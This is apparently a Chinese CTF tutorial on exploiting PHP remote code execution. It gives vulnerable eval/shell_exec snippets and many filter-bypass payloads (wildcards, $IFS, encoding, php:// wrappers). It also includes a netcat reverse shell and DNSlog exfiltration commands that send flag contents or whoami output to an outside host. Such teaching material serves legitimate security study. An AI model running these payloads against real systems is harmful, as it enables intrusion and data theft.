CTF中的RCE
字数 1545 2025-08-18 11:36:53
CTF中的RCE漏洞利用与绕过技术详解
1. RCE基本概念
RCE (Remote Code Execution)远程代码执行漏洞分为两类:
- 远程代码执行:远程执行PHP等编程语言代码
- 远程命令执行:远程执行系统命令(Linux/Windows等)
2. 常见危险函数
PHP危险函数
- 代码执行:
eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map() - 命令执行:
system(),shell_exec(),popen(),passthru(),proc_open()
Python危险函数
eval,exec,subprocess,os.system,commands
Java危险函数
- 基于反射机制的表达式引擎:OGNL, SpEL, MVEL
3. 常见绕过技术
3.1 通配符(*)绕过
<?php
$c = $_GET['c'];
if(!preg_match("/flag/i",$c)) {
eval($c);
}
?>
绕过方法:
cat fla*.phptac fla*php
3.2 函数替代绕过
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i",$c)) {
eval($c);
}
?>
绕过payload:
url?c=echo shell_exec('tac/cat fla*');
3.3 参数逃逸
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) {
eval($c);
}
?>
绕过方法:
url?c=eval($_GET['a']);&a=cat flag.php;
3.4 管道符绕过
Windows管道符
|:直接执行后面语句||:前面执行失败则执行后面&:两个都执行&&:前面为真则都执行
Linux管道符
|:显示后面语句的结果||:前面出错则执行后面&:两个都执行&&:前面出错则不执行后面`:将括号内命令处理完毕后再执行;:执行完前面执行后面
3.5 文件包含+伪协议
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|echo|\;(/i",$c)) {
eval($c);
}
?>
绕过方法:
url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>
其他协议:
url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.phpurl?c=include$_GETa]?>&a=php://input+ POST:<?php system('tac flag.php');?>
4. 关键字绕过技术
4.1 空格绕过
替代方案:
<,<>${IFS},$IFS%20(space),%09(tab)$IFS$9,$IFS$1
示例:
cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php
4.2 转义绕过
示例:
ca\t fl\ag
ca"t flag
ca't flag
4.3 特殊变量绕过
使用shell特殊变量:
ca$*t flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php
4.4 正则表达式绕过
使用通配符和特殊匹配:
fla*
?la*
4.5 Base64编码绕过
示例:
echo 'ls' | base64 # 输出: bHMK
`echo 'bHMK' | base64 -d` # 执行: ls
4.6 字符串拼接
示例:
a=fl;b=ag;cat$IFS$a$b;
5. 命令执行函数绕过
5.1 内联执行
127.0.0.1;cat$IFS$!`ls`
echo $(ls);
?><?=`ls1;
?><?=$(ls);
5.2 替代函数
可用函数:
system()passthru()exec()popen()proc_open()pcntl_exec()highlight_file()
5.3 文件读取替代方法
curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
find . -name flag
6. 字符串长度限制绕过
示例payload:
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t > shell
sh shell
解释:
- 创建特殊文件名文件
- 按时间排序写入shell文件
- 执行shell文件
7. 环境变量绕过($PATH)
利用环境变量截取字符:
echo ${PATH:2:1} # 从第2位开始截取1个字符
自定义PATH:
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789
8. 无回显RCE处理
8.1 测试方法
sleep测试:url?c=ls;sleep 3- HTTP/DNS请求测试
8.2 反弹Shell
nc -e /bin/sh ip port
8.3 DNSlog利用
原理:通过DNS请求记录传递信息
示例:
curl http://ip.port.exp.ceye.io/`whoami`
ping `whoami`.ip.port.exp.ceye.io
实战案例:
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd){
if(!preg_match("/\;|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
} else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
绕过payload:
url?cmd=curl `cat /fla*`.域名
9. 总结
本文详细介绍了CTF中RCE漏洞的各种利用和绕过技术,包括:
- 基础概念和危险函数
- 多种绕过技术(通配符、参数逃逸、管道符等)
- 关键字绕过方法
- 无回显RCE处理方法
- 实际案例和payload示例
掌握这些技术对于CTF比赛和渗透测试至关重要,但请务必在合法授权范围内使用这些技术。